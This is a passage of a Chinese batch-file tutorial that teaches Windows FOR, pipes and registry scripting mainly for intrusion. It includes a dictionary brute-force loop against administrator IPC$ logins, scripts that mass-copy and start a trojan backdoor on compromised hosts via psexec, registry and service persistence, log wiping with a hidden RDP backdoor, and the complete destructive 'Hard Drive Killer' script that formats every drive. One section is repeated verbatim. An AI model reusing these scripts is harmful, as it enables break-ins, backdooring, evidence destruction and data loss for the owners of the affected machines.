指分隔符集。这个替换了空格和跳格键的 默认分隔符集。 tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代 的 for 本身。这会导致额外变量名称的 格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号, 那么额外的变量将在最后一个符号解析之 分配并接受行的保留文本。 usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且 引号字符为文字字符串命令并允许在 fi 中使用双引号扩起文件名称。 sample1: FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command 会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将 每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或 空格定界符号。请注意,这个 for 程序体的语句引用 %i 来 取得第二个符号,引用 %j 来取得第三个符号,引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件 名,您需要用双引号将文件名括起来。为了用这种方式来使 用双引号,您还需要使用 usebackq 选项,否则,双引号会 被理解成是用作定义某个要分析的字符串的。 %i 专门在 for 语句中得到说明,%j 和 %k 是通过 tokens= 选项专门得到说明的。您可以通过 tokens= 一行 指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或 'Z' 的变量。请记住,FOR 变量是单一字母、分大小写和全局的; 同时不能有 52 个以上都在使用中。 您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是, 用单引号将括号之间的 filenameset 括起来。这样,该字符 串会被当作一个文件中的一个单一输入行。 最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将 括号之间的 filenameset 变成一个反括字符串。该字符串会 被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进 内存,并被当作文件分析。因此,以下例子: FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 会枚举当前环境中的环境变量名称。 另外,FOR 变量参照的替换已被增强。您现在可以使用下列 选项语法: ~I - 删除任何引号("),扩充 %I %~fI - 将 %I 扩充到一个完全合格的路径名 %~dI - 仅将 %I 扩充到一个驱动器号 %~pI - 仅将 %I 扩充到一个路径 %~nI - 仅将 %I 扩充到一个文件名 %~xI - 仅将 %I 扩充到一个文件扩展名 %~sI - 扩充的路径只含有短名 %~aI - 将 %I 扩充到文件的文件属性 %~tI - 将 %I 扩充到文件的日期/时间 %~zI - 将 %I 扩充到文件的大小 %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充 到找到的第一个完全合格的名称。如果环境变量 未被定义,或者没有找到文件,此组合键会扩充 空字符串 可以组合修饰符来得到多重结果: %~dpI - 仅将 %I 扩充到一个驱动器号和路径 %~nxI - 仅将 %I 扩充到一个文件名和扩展名 %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名 %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充 到找到的第一个驱动器号和路径。 %~ftzaI - 将 %I 扩充到类似输出线路的 DIR 在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法 用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名 比较易读,而且避免与不分大小写的组合键混淆。 以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。 sample2: 利用For命令来实现对一台目标Win2k主机的暴力密码破解。 我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。 最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator" 用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令-- for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。 sample3: 你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。 主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable) @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。 而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。 delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。 代码雏形: --------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- @echo off @if "%1"=="" goto usage @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k @goto end :usage @echo run this batch in dos modle.or just double-click it. :end --------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- ------------------- cut here then save as a batchfile(I call it door.bat) ----------------------------- @net use \\%1\ipc$ %3 /u:"%2" @if errorlevel 1 goto failed @echo Trying to establish the IPC$ connection …………OK @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt @psexec \\%1 c:\winnt\system32\windrv32.exe @psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt :failed @echo Sorry can not connected to the victim. ----------------- cut here then save as a batchfile(I call it door.bat) -------------------------------- 这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容 尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究. 二.如何在批处理文件中使用参数 批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。 sample1:fomat.bat @echo off if "%1"=="a" format a: :format @format a:/q/u/auotset @echo please insert another disk to driver A. @pause @goto fomat 这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~ sample2: 当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。 @echo off @net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。 @if errorlevel 1 echo connection failed 怎么样,使用参数还是比较简单的吧?你这么帅一定学会了.No.3 三.如何使用组合命令(Compound Command) 1.& Usage:第一条命令 & 第二条命令 [& 第三条命令...] 用这种方法可以同时执行多条命令,而不管命令是否执行成功 Sample: C:\>dir z: & dir c:\Ex4rch The system cannot find the path specified. Volume in drive C has no label. Volume Serial Number is 0078-59FB Directory of c:\Ex4rch 2002-05-14 23:51 . 2002-05-14 23:51 .. 2002-05-14 23:51 14 sometips.gif 2.&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...] 用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令; Sample: C:\>dir z: && dir c:\Ex4rch The system cannot find the path specified. C:\>dir c:\Ex4rch && dir z: Volume in drive C has no label. Volume Serial Number is 0078-59FB Directory of c:\Ex4rch 2002-05-14 23:55 . 2002-05-14 23:55 .. 2002-05-14 23:55 14 sometips.gif 1 File(s) 14 bytes 2 Dir(s) 768,671,744 bytes free The system cannot find the path specified. 在做备份的时候可能会用到这种命令会比较简单,如: dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:\backup 如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :) 3.|| Usage:第一条命令 || 第二条命令 [|| 第三条命令...] 用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令; Sample: C:\Ex4rch>dir sometips.gif || del sometips.gif Volume in drive C has no label. Volume Serial Number is 0078-59FB Directory of C:\Ex4rch 2002-05-14 23:55 14 sometips.gif 1 File(s) 14 bytes 0 Dir(s) 768,696,320 bytes free 组合命令使用的例子: sample: @copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt 四、管道命令的使用 1.| 命令 Usage:第一条命令 | 第二条命令 [| 第三条命令...] 将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。 sample: time /t>>D:\IP.log netstat -n -p tcp|find ":3389">>D:\IP.log start Explorer 看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。 2.>、>>输出重定向命令 将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。 sample1: echo hello world>c:\hello.txt (stupid example?) sample2: 时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录: 运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt, 这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中, 日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了. 这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行: CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。 3.& 、 >& 将一个句柄的输出写入到另一个句柄的输入中。 这些并不常用,也就不多做介绍。 No.5 五.如何用批处理文件来操作注册表 在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件) 关于注册表的操作,常见的是创建、修改、删除。 1.创建 创建分为两种,一种是创建子项(Subkey) 我们创建一个文件,内容如下: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker] 然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为“hacker”的子项。 另一种是创建一个项目名称 那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "Invader"="Ex4rch" "Door"=C:\\WINNT\\system32\\door.exe "Autodos"=dword:02 这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下 新建了:Invader、door、about这三个项目 Invader的类型是“String Value” door的类型是“REG SZ Value” Autodos的类型是“DWORD Value” 2.修改 修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。 3.删除 我们首先来说说删除一个项目名称,我们创建一个如下的文件: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "Ex4rch"=- 执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了; 我们再看看删除一个子项,我们创建一个如下的脚本: Windows Registry Editor Version 5.00 [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。 相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。 samlpe1:如上面的那个例子,如想生成如下注册表文件 Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "Invader"="Ex4rch" "door"=hex:255 "Autodos"=dword:000000128 只需要这样: @echo Windows Registry Editor Version 5.00>>Sample.reg @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg @echo "Invader"="Ex4rch">>Sample.reg @echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg @echo "Autodos"=dword:02>>Sample.reg samlpe2: 我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe) @start windrv32.exe @attrib +h +r windrv32.exe @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll @echo "windsnx "=- >>patch.dll @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe @regedit /s patch.dll @delete patch.dll @REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动] @REM 这样不是更安全. 六.精彩实例放送。 1.删除win2k/xp系统默认共享的批处理 ------------------------ cut here then save as .bat or .cmd file --------------------------- @echo preparing to delete all the default shares.when ready pres any key. @pause @echo off :Rem check parameters if null show usage. if {%1}=={} goto :Usage :Rem code start. echo. echo ------------------------------------------------------ echo. echo Now deleting all the default shares. echo. net share %1$ /delete net share %2$ /delete net share %3$ /delete net share %4$ /delete net share %5$ /delete net share %6$ /delete net share %7$ /delete net share %8$ /delete net share %9$ /delete net stop Server net start Server echo. echo All the shares have been deleteed echo. echo ------------------------------------------------------ echo. echo Now modify the registry to change the system default properties. echo. echo Now creating the registry file echo Windows Registry Editor Version 5.00> c:\delshare.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg echo "AutoShareWks"=dword:00000000>> c:\delshare.reg echo "AutoShareServer"=dword:00000000>> c:\delshare.reg echo Nowing using the registry file to chang the system default properties. regedit /s c:\delshare.reg echo Deleting the temprotarily files. del c:\delshare.reg goto :END :Usage echo. echo ------------------------------------------------------ echo. echo ☆ A example for batch file ☆ echo ☆ [use batch file to change the sysytem share properties.] ☆ echo. echo Author:Ex4rch echo Mail:Ex4rch@hotmail.com QQ:1672602 echo. echo Error:Not enough parameters echo. echo ☆ Please enter the share disk you wanna delete ☆ echo. echo For instance,to delete the default shares: echo delshare c d e ipc admin print echo. echo If the disklable is not as C: D: E: ,Please chang it youself. echo. echo example: echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into : echo delshare c d e x y z ipc admin print echo. echo *** you can delete nine shares once in a useing *** echo. echo ------------------------------------------------------ goto :EOF :END echo. echo ------------------------------------------------------ echo. echo OK,delshare.bat has deleted all the share you assigned. echo.Any questions ,feel free to mail to Ex4rch@hotmail.com. echo echo. echo ------------------------------------------------------ echo. :EOF echo end of the batch file ------------------------ cut here then save as .bat or .cmd file --------------------------- 2.全面加固系统(给肉鸡打补丁)的批处理文件 ------------------------ cut here then save as .bat or .cmd file --------------------------- @echo Windows Registry Editor Version 5.00 >patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] >>patch.dll @echo "AutoShareServer"=dword:00000000 >>patch.dll @echo "AutoShareWks"=dword:00000000 >>patch.dll @REM [禁止共享] @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll @echo "restrictanonymous"=dword:00000001 >>patch.dll @REM [禁止匿名登录] @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll @echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll @REM [禁止及文件访问和打印共享] @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll @echo "Start"=dword:00000004 >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll @echo "Start"=dword:00000004 >>patch.dll @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>patch.dll @echo "ShutdownWithoutLogon"="0" >>patch.dll @REM [禁止登录前关机] @echo "DontDisplayLastUserName"="1" >>patch.dll @REM [禁止显示前一个登录用户名称] @regedit /s patch.dll ------------------------ cut here then save as .bat or .cmd file --------------------------- 下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。 @regedit /s patch.dll @net stop w3svc @net stop event log @del c:\winnt\system32\logfiles\w3svc1\*.* /f /q @del c:\winnt\system32\logfiles\w3svc2\*.* /f /q @del c:\winnt\system32\config\*.event /f /q @del c:\winnt\system32dtclog\*.* /f /q @del c:\winnt\*.txt /f /q @del c:\winnt\*.log /f /q @net start w3svc @net start event log @rem [删除日志] @net stop lanmanserver /y @net stop Schedule /y @net stop RemoteRegistry /y @del patch.dll @echo The server has been patched,Have fun. @del patch.bat @REM [禁止一些危险的服务。] @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll @echo "PortNumber"=dword:00002010 >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll @echo "PortNumber"=dword:00002012 >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll @echo "Start"=dword:00000002 >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll @echo "Start"=dword:00000002 >>patch.dll @echo "ErrorControl"=dword:00000001 >>patch.dll @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll @echo "ObjectName"="LocalSystem" >>patch.dll @echo "Type"=dword:00000010 >>patch.dll @echo "Description"="Keep record of the program and windows' message。" >>patch.dll @echo "DisplayName"="Microsoft EventLog" >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll @echo "Start"=dword:00000004 >>patch.dll @copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe @REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路] 3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。) ------------------------ cut here then save as .bat or .cmd file --------------------------- @echo off rem This program is dedecated to a very special person that does not want to be named. :start cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . call attrib -r -h c:\autoexec.bat >nul echo @echo off >c:\autoexec.bat echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat call attrib +r +h c:\autoexec.bat >nul rem Drive checking and assigning the valid drives to the drive variable. set drive= set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z rem code insertion for Drive Checking takes place here. rem drivechk.bat is the file name under the root directory. rem As far as the drive detection and drive variable settings, don't worry about how it rem works, it's d\*amn to complicated for the average or even the expert batch programmer. rem Except for Tom Lavedas. echo @echo off >drivechk.bat echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 goto enddc >>drivechk.bat cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . rem When errorlevel is 1, then the above is not true, if 0, then it's true. rem Opposite of binary rules. If 0, it will elaps to the next command. echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 goto enddc >>drivechk.bat cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. rem if errorlevel is 0, then it will elaps to the next command. echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . rem if it's errorlevel 1, then the specified drive is a hard or floppy drive. rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive. echo :enddc >>drivechk.bat rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". rem Now we will use the program drivechk.bat to attain valid drive information. :Sampledrv for %%a in (%alldrive%) do call drivechk.bat %%a >nul del drivechk.bat >nul if %drive.==. set drive=c :form_del call attrib -r -h c:\autoexec.bat >nul echo @echo off >c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat echo cd\ >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:\autoexec.bat echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat echo echo. >>c:\autoexec.bat echo echo Regards, >>c:\autoexec.bat echo echo. >>c:\autoexec.bat echo echo Munga Bunga >>c:\autoexec.bat call attrib +r +h c:\autoexec.bat :makedir if exist c:\temp.bat attrib -r -h c:\temp.bat >nul echo @echo off >c:\temp.bat echo %%1:\ >>c:\temp.bat echo cd\ >>c:\temp.bat echo :startmd >>c:\temp.bat echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat call attrib +r +h c:\temp.bat >nul cls echo Initializing Variables . . . rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction. for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul cls echo Initializing Variables . . . echo Validating Data . . . for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul call attrib +r +h c:\temp.bat >nul call attrib +r +h c:\autoexec.bat >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . echo Initializing Application . . . for %%a in (%drive%) call deltree /y %%a:\*. >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . echo Initializing Application . . . echo Starting Application . . . for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul cls echo Thank you for using a Munga Bunga product. echo. echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. echo. echo Here is a joke for you . . . echo. echo Q). What's the worst thing about being an egg? echo A). You only get laid once. echo. echo HAHAHAHA, get it? Don't you just love that one? echo. echo Regards, echo. echo Munga Bunga :end rem Hard Drive Killer Pro Version 4.0, enjoy!!!! rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here). 六.精彩实例放送。 1.删除win2k/xp系统默认共享的批处理 ------------------------ cut here then save as .bat or .cmd file --------------------------- @echo preparing to delete all the default shares.when ready pres any key. @pause @echo off :Rem check parameters if null show usage. if {%1}=={} goto :Usage :Rem code start. echo. echo ------------------------------------------------------ echo. echo Now deleting all the default shares. echo. net share %1$ /delete net share %2$ /delete net share %3$ /delete net share %4$ /delete net share %5$ /delete net share %6$ /delete net share %7$ /delete net share %8$ /delete net share %9$ /delete net stop Server net start Server echo. echo All the shares have been deleteed echo. echo ------------------------------------------------------ echo. echo Now modify the registry to change the system default properties. echo. echo Now creating the registry file echo Windows Registry Editor Version 5.00> c:\delshare.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg echo "AutoShareWks"=dword:00000000>> c:\delshare.reg echo "AutoShareServer"=dword:00000000>> c:\delshare.reg echo Nowing using the registry file to chang the system default properties. regedit /s c:\delshare.reg echo Deleting the temprotarily files. del c:\delshare.reg goto :END :Usage echo. echo ------------------------------------------------------ echo. echo ☆ A example for batch file ☆ echo ☆ [use batch file to change the sysytem share properties.] ☆ echo. echo Author:Ex4rch echo Mail:Ex4rch@hotmail.com QQ:1672602 echo. echo Error:Not enough parameters echo. echo ☆ Please enter the share disk you wanna delete ☆ echo. echo For instance,to delete the default shares: echo delshare c d e ipc admin print echo. echo If the disklable is not as C: D: E: ,Please chang it youself. echo. echo example: echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into : echo delshare c d e x y z ipc admin print echo. echo *** you can delete nine shares once in a useing *** echo. echo ------------------------------------------------------ goto :EOF :END echo. echo ------------------------------------------------------ echo. echo OK,delshare.bat has deleted all the share you assigned. echo.Any questions ,feel free to mail to Ex4rch@hotmail.com. echo echo. echo ------------------------------------------------------ echo. :EOF echo end of the batch file ------------------------ cut here then save as .bat or .cmd file --------------------------- 2.全面加固系统(给肉鸡打补丁)的批处理文件 ------------------------ cut here then save as .bat or .cmd file --------------------------- @echo Windows Registry Editor Version 5.00 >patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] >>patch.dll @echo "AutoShareServer"=dword:00000000 >>patch.dll @echo "AutoShareWks"=dword:00000000 >>patch.dll @REM [禁止共享] @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll @echo "restrictanonymous"=dword:00000001 >>patch.dll @REM [禁止匿名登录] @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll @echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll @REM [禁止及文件访问和打印共享] @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll @echo "Start"=dword:00000004 >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll @echo "Start"=dword:00000004 >>patch.dll @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>patch.dll @echo "ShutdownWithoutLogon"="0" >>patch.dll @REM [禁止登录前关机] @echo "DontDisplayLastUserName"="1" >>patch.dll @REM [禁止显示前一个登录用户名称] @regedit /s patch.dll ------------------------ cut here then save as .bat or .cmd file --------------------------- 下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。 @regedit /s patch.dll @net stop w3svc @net stop event log @del c:\winnt\system32\logfiles\w3svc1\*.* /f /q @del c:\winnt\system32\logfiles\w3svc2\*.* /f /q @del c:\winnt\system32\config\*.event /f /q @del c:\winnt\system32dtclog\*.* /f /q @del c:\winnt\*.txt /f /q @del c:\winnt\*.log /f /q @net start w3svc @net start event log @rem [删除日志] @net stop lanmanserver /y @net stop Schedule /y @net stop RemoteRegistry /y @del patch.dll @echo The server has been patched,Have fun. @del patch.bat @REM [禁止一些危险的服务。] @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal 